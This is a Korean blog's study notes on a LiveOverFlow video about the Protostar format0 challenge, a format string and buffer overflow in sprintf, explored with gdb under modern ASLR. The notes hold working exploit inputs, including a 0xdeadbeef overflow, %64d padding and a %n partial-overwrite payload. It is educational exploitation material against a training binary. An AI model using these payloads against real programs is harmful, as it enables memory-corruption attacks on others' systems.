Security_RNRF

0x38. 본문

LiveOverFlow/Binary

0x38.

RNRF 2021. 11. 3. 01:12

38. Playing around with a Format String vulnerabiltiy and ASLR.format0 - bin.0x24

: "Exploit-exercise / proctostar" offers a Linux image as a few challenges for learning binary.
-> But there have been many changes over the years and editing these challenges is no longer an easy challenge in the modern system.
-> We described in three videos in a way that we could still do. And that's only possible at 32 bits.
-> If you are a beginner, you will have to use a Linux image downloaded from the site.
-> Otherwise, everything about it may not work.
: It's been practiced through the previous videos and now let's try a different challenge.
-> We now compile from the Ubuntu version.

: Obviously the rules of the game, that is hacking, are, that maybe there are techniques I just don’t know about.
-> I don’t really know the edge cases in exploitation, I mostly know the general techniques and I think I have some reasonable amount of creativity.
-> But I don’t know everything.
-> So it’s likely that there are people out there that could exploit it.
-> In that case, I’d love to see a PoC for that.
-> That being said, let’s continue with format0.
: So what is this challenge about?
-> The attacker can pass in an argument, that argument then being passed as the string variable to the format parameter of sprintf.
-> So we inject stuff like %d or %s.
-> It’s also vulnerable to a buffer overflow, because sprintf, does not print to the console, to stdout, like regular printf, but prints, or stores the formatted string, in buffer.
-> And the buffer is only 64 bytes long.

: format0 Code(/opt/protostar/bin/format0)
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64]; # 64 bytes large

  target = 0;

  sprintf(buffer, string); # Input the ”%d” OR “%s”
   # formatting result written to ‘buffer’
  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv) # command line argument
{
  vuln(argv[1]);
}

: Now when you attack this on the VM that you can download here that has these precompiled, the target variable would be placed after the buffer so that you can overflow the buffer, and write into target.
-> echo -e “\x41”
A
-> echo -en "AAAAAAAABBBBBBBBAAAAAAAABBBBBBBBAAAAAAAABBBBBBBBAAAAAAAABBBBBBBB\xef\xbe\xad\xde"
AAAAAAAABBBBBBBBAAAAAAAABBBBBBBBAAAAAAAABBBBBBBBAAAAAAAABBBBBBBBᆳ▒
-> And then you have target modified and when you make it so that it’s overflown with "0xdeadbeef" you pass this check.
-> ./format0 "`echo -en "AAAAAAAABBBBBBBBAAAAAAAABBBBBBBBAAAAAAAABBBBBBBBAAAAAAAABBBBBBBB\xef\xbe\xad\xde"`" # 64 characters + “0xdeadbeef”
you have hit the target correctly :)
-> So enter "64" characters, and "0xdeadbeef" and you won.

: But the challenge here also said, try it with less than 10 bytes.
-> And you would do that by abusing format string modifiers that would stretch the formatted output to for 64 characters, and then you can simply enter "0xdeadbeef" afterwards.
-> ./format0 "`echo -en "%64d\xef\xbe\xad\xde"`" # 64 chars padding
you have hit the target correctly :)
-> So for example would output a number with a up to 64 character padding.
-> And so 64 characters plus are written into buffer and you win.

: Well is that still possible?
-> First we have to install gcc and gdb on this fresh maschine and I’m also going ahead to install peda, a gdb extension that makes things look nicer.
-> So let’s start with the simple buffer overflow example.
-> But first let’s set a breakpoint in “vuln()” before we compare “deadbeef”.
-> gcc format0.c -o format0
format0.c: In function ‘vuln’:
format0.c:13:3: warning: format not a string literal and no format arguments [-Wformat-security]
   sprintf(buffer, string);
   ^~~~~~~
-> gdb ./format0
-> r
-> disassemble vuln
Dump of assembler code for function vuln:
   0x00005555555546fa <+0>: push   rbp
   0x00005555555546fb <+1>: mov    rbp,rsp
   0x00005555555546fe <+4>: sub    rsp,0x70
   0x0000555555554702 <+8>: mov    QWORD PTR [rbp-0x68],rdi
   0x0000555555554706 <+12>: mov    rax,QWORD PTR fs:0x28
   0x000055555555470f <+21>: mov    QWORD PTR [rbp-0x8],rax
   0x0000555555554713 <+25>: xor    eax,eax
   0x0000555555554715 <+27>: mov    DWORD PTR [rbp-0x54],0x0
   0x000055555555471c <+34>: mov    rdx,QWORD PTR [rbp-0x68]
   0x0000555555554720 <+38>: lea    rax,[rbp-0x50]
   0x0000555555554724 <+42>: mov    rsi,rdx
   0x0000555555554727 <+45>: mov    rdi,rax
   0x000055555555472a <+48>: mov    eax,0x0
   0x000055555555472f <+53>: call   0x5555555545d0 <sprintf@plt>
   0x0000555555554734 <+58>: mov    eax,DWORD PTR [rbp-0x54]
   0x0000555555554737 <+61>: cmp    eax,0xdeadbeef # if(target == 0xdeadbeef)
   0x000055555555473c <+66>: jne    0x55555555474a <vuln+80>
   0x000055555555473e <+68>: lea    rdi,[rip+0xd3]        # 0x555555554818
   0x0000555555554745 <+75>: call   0x5555555545b0 <puts@plt>
   0x000055555555474a <+80>: nop
   0x000055555555474b <+81>: mov    rax,QWORD PTR [rbp-0x8]
   0x000055555555474f <+85>: xor    rax,QWORD PTR fs:0x28
   0x0000555555554758 <+94>: je     0x55555555475f <vuln+101>
   0x000055555555475a <+96>: call   0x5555555545c0 <__stack_chk_fail@plt>
   0x000055555555475f <+101>: leave  
   0x0000555555554760 <+102>: ret    
End of assembler dump.
-> break *0x0000555555554737
Breakpoint 1 at 0x555555554737
-> run "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFF"
Starting program: /home/rnrf/format0 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFF"

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x0 
RDX: 0x0 
RSI: 0x7fffffffe3b8 ('A' <repeats 64 times>, "BBBBCCCCDDDDEEEEFFFF")
RDI: 0x7fffffffdf20 ('A' <repeats 64 times>, "BBBBCCCCDDDDEEEEFFFF")
RBP: 0x7fffffffdf70 --> 0x7f0046464646 
RSP: 0x7fffffffdf00 --> 0x7ffff7ffb268 (add    BYTE PTR ss:[rax],al)
RIP: 0x555555554737 (<vuln+61>: cmp    eax,0xdeadbeef)
R8 : 0x0 
R9 : 0x7ffff7dd0d80 --> 0x0 
R10: 0x0 
R11: 0x0 
R12: 0x5555555545f0 (<_start>: xor    ebp,ebp)
R13: 0x7fffffffe070 --> 0x2 
R14: 0x0 
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55555555472a <vuln+48>: mov    eax,0x0
   0x55555555472f <vuln+53>: call   0x5555555545d0 <sprintf@plt>
   0x555555554734 <vuln+58>: mov    eax,DWORD PTR [rbp-0x54]
=> 0x555555554737 <vuln+61>: cmp    eax,0xdeadbeef
   0x55555555473c <vuln+66>: jne    0x55555555474a <vuln+80>
   0x55555555473e <vuln+68>: lea    rdi,[rip+0xd3]        # 0x555555554818
   0x555555554745 <vuln+75>: call   0x5555555545b0 <puts@plt>
   0x55555555474a <vuln+80>: nop
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdf00 --> 0x7ffff7ffb268 (add    BYTE PTR ss:[rax],al)
0008| 0x7fffffffdf08 --> 0x7fffffffe3b8 ('A' <repeats 64 times>, "BBBBCCCCDDDDEEEEFFFF")
0016| 0x7fffffffdf10 --> 0x0 
0024| 0x7fffffffdf18 --> 0x0 
0032| 0x7fffffffdf20 ('A' <repeats 64 times>, "BBBBCCCCDDDDEEEEFFFF")
0040| 0x7fffffffdf28 ('A' <repeats 56 times>, "BBBBCCCCDDDDEEEEFFFF")
0048| 0x7fffffffdf30 ('A' <repeats 48 times>, "BBBBCCCCDDDDEEEEFFFF")
0056| 0x7fffffffdf38 ('A' <repeats 40 times>, "BBBBCCCCDDDDEEEEFFFF")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0000555555554737 in vuln ()
-> Then let’s start the binary and pass in an input that is much larger than 64bytes.
-> So we hit the breakpoint and it compares "eax" with "0xdeadbeef".
-> But "eax" is "0".
-> How can that be? Didn’t we overflow the stack?
-> x/wx $rbp-0x54
0x7fffffffdf1c: 0x00000000
-> x/s $rbp-0x50
0x7fffffffdf20: 'A' <repeats 64 times>, "BBBBCCCCDDDDEEEEFFFF"
-> x/32gx $rsp
0x7fffffffdf00: 0x00007ffff7ffb268 0x00007fffffffe3b8
0x7fffffffdf10: 0x0000000000000000 0x0000000000000000 # target & rbp-0x54
0x7fffffffdf20: 0x4141414141414141 0x4141414141414141 # buffer & rbp-0x50
0x7fffffffdf30: 0x4141414141414141 0x4141414141414141
0x7fffffffdf40: 0x4141414141414141 0x4141414141414141
0x7fffffffdf50: 0x4141414141414141 0x4141414141414141
0x7fffffffdf60: 0x4343434342424242 0x4545454544444444
0x7fffffffdf70: 0x00007f0046464646 0x0000555555554783 # rbp
0x7fffffffdf80: 0x00007fffffffe078 0x0000000200000000
0x7fffffffdf90: 0x0000555555554790 0x00007ffff7a05b97
0x7fffffffdfa0: 0x0000000000000002 0x00007fffffffe078
0x7fffffffdfb0: 0x0000000200008000 0x0000555555554761
0x7fffffffdfc0: 0x0000000000000000 0x25b06014e9e10768
0x7fffffffdfd0: 0x00005555555545f0 0x00007fffffffe070
0x7fffffffdfe0: 0x0000000000000000 0x0000000000000000
0x7fffffffdff0: 0x70e53541d9810768 0x70e525fed05f0768
-> we certainly did, the issue is that the target variable doesn’t come after the buffer.
-> It is before, so we can write as much data as we want, we won’t overwrite.
-> …
0x0000555555554720 <+38>: lea    rax,[rbp-0x50]
0x0000555555554724 <+42>: mov    rsi,rdx
0x0000555555554727 <+45>: mov    rdi,rax
0x000055555555472a <+48>: mov    eax,0x0
0x000055555555472f <+53>: call   0x5555555545d0 <sprintf@plt>
0x0000555555554734 <+58>: mov    eax,DWORD PTR [rbp-0x54]
0x0000555555554737 <+61>: cmp    eax,0xdeadbeef

-> You can also see this here. Eax is loaded from “base pointer - 0x54”, while the address for the string is loaded from "basepointer - 0x50", so it’s located after target.
: Well does this mean it’s not exploitable?
-> So if you are familiar with format string exploits, you also know that you can write data with it, by abusing the %n modifier which writes the amount of already characters to an address on the stack.
-> And we can overflow the stack, so we could place an address there and then carefully construct the number of characters printed before, that it writes "0xdeadbeef" to an address.
-> And so we could write to target, and win that way.
-> But ASLR is our problem.
: Let me add a "printf" to the code to print the address of target.
-> vim format0.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);
  printf("target: %p\n", &target);
  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}
-> "&target" returns the reference of a variable, so that’s the address.
-> gcc format0.c -o format0
gcc format0.c -o format0
format0.c: In function ‘vuln’:
format0.c:13:3: warning: format not a string literal and no format arguments [-Wformat-security]
   sprintf(buffer, string);
   ^~~~~~~
-> And when we compile it and run it in a nice while true loop, you see how crazy the of target changes.
-> while true;
> do
> ./format0
> done

target: 0x7ffd777eb06c
target: 0x7ffd05f8bfac
target: 0x7ffe2fdaa16c
target: 0x7ffd41f01c3c
target: 0x7ffcbdb711cc
target: 0x7ffcf1e680cc
target: 0x7ffd761f2c1c
target: 0x7ffc4a3255bc
target: 0x7fff1b0fd13c
target: 0x7ffd394b53bc
target: 0x7ffeb0c435bc
target: 0x7ffd206133cc
target: 0x7ffc6b2f528c
target: 0x7ffc3e75aa5c
target: 0x7ffc90a1c33c
target: 0x7ffdbed9965c
target: 0x7ffce8d3571c
target: 0x7ffd8517070c
target: 0x7fffca8225ac
target: 0x7ffe417cde1c
target: 0x7ffde51cfe5c
target: 0x7fff16d5ce6c

-> Target is a local variable so it’s located on the stack.
-> So this is also a stack address.
-> But how much does it change? It always starts with 0x7ff and ends in a C. And this one nibble here only appears to be C,D,E or F.
-> That’s a huge number.
-> It’s over 1 billion. but maybe in this case actually doable.
-> Just takes some time. Maybe a day or so.
-> I just like to refer to the previous 3 part video(0x21, 0x22, 0x23) where we bruteforced a 3 byte stack cookie, that was roughly 16 million possible And so here, 260 million, is in reach, I would say.
-> At least for a very small binary like this.
-> The execution speed is quite fast.
: Let’s see how it looks like on 32bit.
-> We have to install the gcc multilib to do that. 
-> And then we can compile it with -m32.
-> gcc format0.c -m32 -o format0_32
format0.c: In function ‘vuln’:
format0.c:13:3: warning: format not a string literal and no format arguments [-Wformat-security]
   sprintf(buffer, string);
   ^~~~~~~
-> while true;
> do
> ./format0_32
> done

target: 0xff850bb8
target: 0xff875948
target: 0xffac8d78
target: 0xff87e668
target: 0xffc8aa28
target: 0xfffcd7b8
target: 0xffe653d8
target: 0xff8abe78
target: 0xff832078
target: 0xffed9438
target: 0xff810b68
target: 0xff8b1a68
target: 0xffd64d38
target: 0xff906298
target: 0xfffc58a8
target: 0xffd0d718

-> When we execute it a few times, you can see that it obviously has less randomness on 64bit.
-> It’s only two full bytes and then again a nibble.
-> That’s about 1 million attempts to hit it.
-> So definitely even more in reach.
-> But of course it’s only feasible if you can do millions of attempts reasonably fast, for example locally.
-> If this were an application that takes longer to start or a remote service, then that would probably mean you really do it.

: How to create a format string exploit and how that exactly works with “%n” you can watch in multiple other videos that I have done.
-> But there is one additional trick that comes to mind we could look out for.
-> In a classic format string exploit you would use your input that is maybe placed on the stack and reference itself.
-> “%n”: address has to be on stack.
-> “AAAA<adr>BBBB%n”
-> doesn’t have to be this way.
-> If we look on the stack when we are at the "0xdeadbeef" compare in the execution flow, you can see a lot of stack addresses.
-> x/wx $rbp-0x54
0x7fffffffdf1c: 0x00000000 # target???
-> x/128gx $rsp
0x7fffffffdf00: 0x00007ffff7ffb268 0x00007fffffffe3b8
0x7fffffffdf10: 0x0000000000000000 0x0000000000000000
0x7fffffffdf20: 0x4141414141414141 0x4141414141414141
0x7fffffffdf30: 0x4141414141414141 0x4141414141414141
0x7fffffffdf40: 0x4141414141414141 0x4141414141414141
0x7fffffffdf50: 0x4141414141414141 0x4141414141414141
0x7fffffffdf60: 0x4343434342424242 0x4545454544444444
0x7fffffffdf70: 0x00007f0046464646 0x00005555555547db
0x7fffffffdf80: 0x00007fffffffe078 0x0000000200000000 # ex.) 0x00007fffffffe078 -> 0x00007fffffffdf1c, change?
0x7fffffffdf90: 0x00005555555547f0 0x00007ffff7a05b97
0x7fffffffdfa0: 0x0000000000000002 0x00007fffffffe078
0x7fffffffdfb0: 0x0000000200008000 0x00005555555547b9
0x7fffffffdfc0: 0x0000000000000000 0xb15df2b97271f150
0x7fffffffdfd0: 0x0000555555554630 0x00007fffffffe070
0x7fffffffdfe0: 0x0000000000000000 0x0000000000000000
0x7fffffffdff0: 0xe408a7ec42d1f150 0xe408b7534b0ff150
0x7fffffffe000: 0x00007fff00000000 0x0000000000000000
0x7fffffffe010: 0x0000000000000000 0x00007ffff7de5733
0x7fffffffe020: 0x00007ffff7dcb638 0x0000000014997e4c
0x7fffffffe030: 0x0000000000000000 0x0000000000000000
0x7fffffffe040: 0x0000000000000000 0x0000555555554630
0x7fffffffe050: 0x00007fffffffe070 0x000055555555465a
0x7fffffffe060: 0x00007fffffffe068 0x000000000000001c
0x7fffffffe070: 0x0000000000000002 0x00007fffffffe3a5
0x7fffffffe080: 0x00007fffffffe3b8 0x0000000000000000
0x7fffffffe090: 0x00007fffffffe40d 0x00007fffffffe423
0x7fffffffe0a0: 0x00007fffffffea0f 0x00007fffffffea31
0x7fffffffe0b0: 0x00007fffffffea48 0x00007fffffffea57
0x7fffffffe0c0: 0x00007fffffffea68 0x00007fffffffea73
0x7fffffffe0d0: 0x00007fffffffea93 0x00007fffffffeaa7
0x7fffffffe0e0: 0x00007fffffffeab5 0x00007fffffffeac0
0x7fffffffe0f0: 0x00007fffffffeae9 0x00007fffffffeafa
0x7fffffffe100: 0x00007fffffffeb04 0x00007fffffffeb1b
0x7fffffffe110: 0x00007fffffffeb2d 0x00007fffffffeb4e
0x7fffffffe120: 0x00007fffffffeba4 0x00007fffffffebb3
0x7fffffffe130: 0x00007fffffffebbc 0x00007fffffffebcc
0x7fffffffe140: 0x00007fffffffebe1 0x00007fffffffebf4
0x7fffffffe150: 0x00007fffffffec07 0x00007fffffffec1c
0x7fffffffe160: 0x00007fffffffec71 0x00007fffffffec8c
0x7fffffffe170: 0x00007fffffffeca4 0x00007fffffffecc0
0x7fffffffe180: 0x00007fffffffeccc 0x00007fffffffecd9
0x7fffffffe190: 0x00007fffffffecea 0x00007fffffffecfa
0x7fffffffe1a0: 0x00007fffffffed0e 0x00007fffffffed20
0x7fffffffe1b0: 0x00007fffffffed34 0x00007fffffffed46
0x7fffffffe1c0: 0x00007fffffffed67 0x00007fffffffed9b
0x7fffffffe1d0: 0x00007fffffffedb8 0x00007fffffffedc0
0x7fffffffe1e0: 0x00007fffffffedcf 0x00007fffffffede1
0x7fffffffe1f0: 0x00007fffffffee0d 0x00007fffffffee1a
0x7fffffffe200: 0x00007fffffffee50 0x00007fffffffee6f
0x7fffffffe210: 0x00007fffffffee98 0x00007fffffffeec5
0x7fffffffe220: 0x00007fffffffef2d 0x00007fffffffef4e
0x7fffffffe230: 0x00007fffffffefb2 0x00007fffffffefd2
0x7fffffffe240: 0x0000000000000000 0x0000000000000021
0x7fffffffe250: 0x00007ffff7ffb000 0x0000000000000010
0x7fffffffe260: 0x00000000178bfbff 0x0000000000000006
0x7fffffffe270: 0x0000000000001000 0x0000000000000011
0x7fffffffe280: 0x0000000000000064 0x0000000000000003
0x7fffffffe290: 0x0000555555554040 0x0000000000000004
0x7fffffffe2a0: 0x0000000000000038 0x0000000000000005
0x7fffffffe2b0: 0x0000000000000009 0x0000000000000007
0x7fffffffe2c0: 0x00007ffff7dd5000 0x0000000000000008
0x7fffffffe2d0: 0x0000000000000000 0x0000000000000009
0x7fffffffe2e0: 0x0000555555554630 0x000000000000000b
0x7fffffffe2f0: 0x00000000000003e8 0x000000000000000c
-> And so these would always be valid stack addresses even with ASLR.
-> Now if of those would magically point to target, then we could just reuse it.
-> We could just reference that address.
-> But if we check the address we know of target, we can see that it doesn’t show up.
-> But you see how creative you can get with exploitation.
-> We could have been lucky.
-> But let’s actually continue that train of thought.
-> we don’t have the whole target address on the stack, but we do have a lot of other stack addresses.
-> And we have an overflow, so we can overflow into the addresses.
: Let’s add another "printf" to print the target value.
-> -> And print the resulting formatted buffer.
-> vim format0.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);
  printf("target adr: %p\n", &target);
  printf("target val: %x\n", target);
  printf("buffer: %s\n", buffer);
  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}
-> gcc format0.c -o format0
-> Let’s play with that.
-> ./format0 “AAAABBBB”
target adr: 0x7ffd4807f9fc
target val: 0
buffer: AAAABBBB
-> Here you can see the “sprintf” formatted result.
-> Let try to find "AAAABBBB" on the stack by consuming values from the stack with some format modifiers.
-> ./format0 “AAAABBBB,%x,%x,%x,%x”
target adr: 0x7ffd6aa478ac
target val: 0
buffer: “AAAABBBB,6aa48413,e0dae810,9950bd80,9950bd80”  # sprintf() result
-> I wanna find the offset where on the stack this value is placed, and we can explore that with “%lx” and the dollar notation.
-> ./format0 “AAAABBBB,%1\$lx”
target adr: 0x7ffe4e518f5c
target val: 0
buffer: “AAAABBBB,7ffe4e519419”
-> ./format0 “AAAABBBB,%2\$lx”
target adr: 0x7ffe7365ec0c
target val: 0
buffer: “AAAABBBB,55b5583ce810”
-> ./format0 “AAAABBBB,%3\$lx”
target adr: 0x7ffd71d08e9c
target val: 0
buffer: “AAAABBBB,7fe020205d80”
-> ./format0 “AAAABBBB,%4\$lx”
target adr: 0x7ffc016cc1cc
target val: 0
buffer: “AAAABBBB,7f5b18799d80”
-> So at offset “1” it’s not, at offset “2” it’s not at offset “3” it’s not. And so forth.
-> ./format0 “AAAABBBB,%9\$lx”
target adr: 0x7ffe0d1e5fac
target val: 0
buffer: “AAAABBBB,42414141419c80e2”
-> But here at offset “9” we now printed the hex value of our input.
: Now let’s look at the stack layout for a nice stack address we could partially overwrite.
-> so down here is one, let’s see what offset that has.
-> Let’s keep going.
-> ./format0 “AAAABBBB,%19\$lx”
target adr: 0x7ffdbd9fff7c
target val: 0
buffer: “AAAABBBB,7ffdbd9ffff0”
-> There it is, at offset “19”.
-> Which also means from the start at offset “9” to offset “19” we have “10” groups of “8” bytes, so “80(10*8)” bytes to fill and reach this value.
-> ./format0 “%80lxAAAA%19\$lx”
target adr: 0x7ffdba24010c
target val: 0
buffer: “                                                                    7ffdba242418AAAA41414141383134” # AAAA -> 41414141 : same
*** stack smashing detected ***: <unknown> terminated
Aborted (core dumped)
-> We can achieve that with a format string that pads a number to 80 bytes, and then to proof that we overflow.
-> And when we now execute it, we see that the end of our address that got printed by our "19 lx", got overwritten with "A".
-> If you paid attention you saw that target is always at an offset with a “c”, so we can choose some input that end’s with a “c” as well to overwrite it.
-> For example "L", that is "0x4c".
-> echo -n "L" | hexdump -C
00000000  4c                                                |L|
00000001
-> Let’s execute that now, and you can compare what address we got now through the overwrite with “L”, and what target really was.
-> ./format0 “%80lxL%19\$lx”
target adr: 0x7fffa7ac910c
target val: 0
buffer: “                                                                    7fffa7acb41bL7fff4c623134”
*** stack smashing detected ***: <unknown> terminated
중지됨 (core dumped)
-> ./format0 “%80lxL%19\$lx”
target adr: 0x7fff5859d62c
target val: 0
buffer: “                                                                    7fff5859f41bL7fff4c623134”
*** stack smashing detected ***: <unknown> terminated
중지됨 (core dumped)
-> ./format0 “%80lxL%19\$lx”
target adr: 0x7ffd8e5fe79c
target val: 0
buffer: “                                                                    7ffd8e60041bL7ffd4c623134”
*** stack smashing detected ***: <unknown> terminated
중지됨 (core dumped)
-> ./format0 “%80lxL%19\$lx”
target adr: 0x7fffc5a0642c
target val: 0
buffer: “                                                                    7fffc5a0841bL7fff4c623134”
*** stack smashing detected ***: <unknown> terminated
중지됨 (core dumped)
-> You that often it’s not the same, but eventually, it will match.
-> ./format0 “%80lxL%19\$ln”
# 0x51 = 81, but not “0xdeadbeef(=3735928559)”
-> And so if we replace the "%lx" to print a 8 byte hex value to "%n", then we will WRITE to that address.
-> So now we are writing the amount of printed characters, 81, because "80 + the single L" to this address.
-> And maybe at some point we hit target.
-> Let’s keep trying.
-> There we hit target, we wrote "0x51" to it, which is "81" in decimal. 
-> And that works fairly reliably, we can try those few attempts by hand.
-> And I think that’s awesome, unfortunately it’s not quite the solution, because target has to be "0xdeadbeef".
-> And that’s 3 billion in decimal.
-> So with this technique we would have to first print 3 billion characters we can do "%n", and that’s not possible.

: Anyway I think you can see how much exploitation can become a puzzle that you slowly try piece together.
-> In the end I didn’t manage to solve it but exploring this was really fun.
-> I really wonder if somebody is able to make a semi reliable exploit for this.
-> NOT Success!…

: Exploit the format0(/opt/protostar/bin/format0)
-> ./format0 "`echo -en "AAAAAAAABBBBBBBBAAAAAAAABBBBBBBBAAAAAAAABBBBBBBBAAAAAAAABBBBBBBB\xef\xbe\xad\xde"`"
OR
-> ./format0 "`echo -en "%64d\xef\xbe\xad\xde"`"

: format0 Code Change (ASLR, “printf” use the target)
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);
  printf(”target: %p\n”, &target);
  
  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

-> while true;
> do
> ./format0
> done;
-> very many random outputs…

: gdb, 32bit changed
-> gcc format0.c -m32 -o format0_32
(Tips. apt-get install gcc multilib)

: Change & Plus the Code
-> printf(”target adr: %p\n”, &target);
-> printf(”target val: %x\n”, target);
-> printf(”buffer: %s\n”, buffer);

: Locate the offset at the position of the stack.
-> ./format0 “AAAABBBB %1\$lx” : offset.1 is x.
(Tips. %x: 32bit / %lx: 64bit)
-> ./format0 “AAAABBBB %2\$lx” : offset.2 is x.
-> ./format0 “AAAABBBB %3\$lx” : offset.3 is x.
-> ./format0 “AAAABBBB %4\$lx” : offset.4 is x.

-> ./format0 “AAAABBBB %9\$lx” : offset.9 is o. : 4242424241414141…

-> ./format0 “AAAABBBB %19\$lx” : offset.19 is o. : 7ffddb5629e0
(Meaming: offset.9~19 -> 8*10 byte group -> 80 byte)

: ./format0 “%80lxAAAA%19\$lx”
-> space*80 + 7ffc36b60896AAAA7ffc41414141
: echo -n “L” | hexdump -C
-> 0x4c

: ./format0 “%80lxL%19\$lx”
-> If you try many times, there are times when it comes to the same value.

: ./format0 “%80lxL%19\$ln”
-> If you try several times, the target_val changes the value.
-> target val: 51 (=> 0x51 = 81)

: In fact, a perfect attack should add a "deadbeat" value. But this attack is still an unfinished one.

'LiveOverFlow > Binary' 카테고리의 다른 글

0x40.  (0) 2021.11.03
0x39.  (0) 2021.11.03
0x37.  (0) 2021.11.03
0x36.  (0) 2021.11.03
0x35.  (0) 2021.11.03
Comments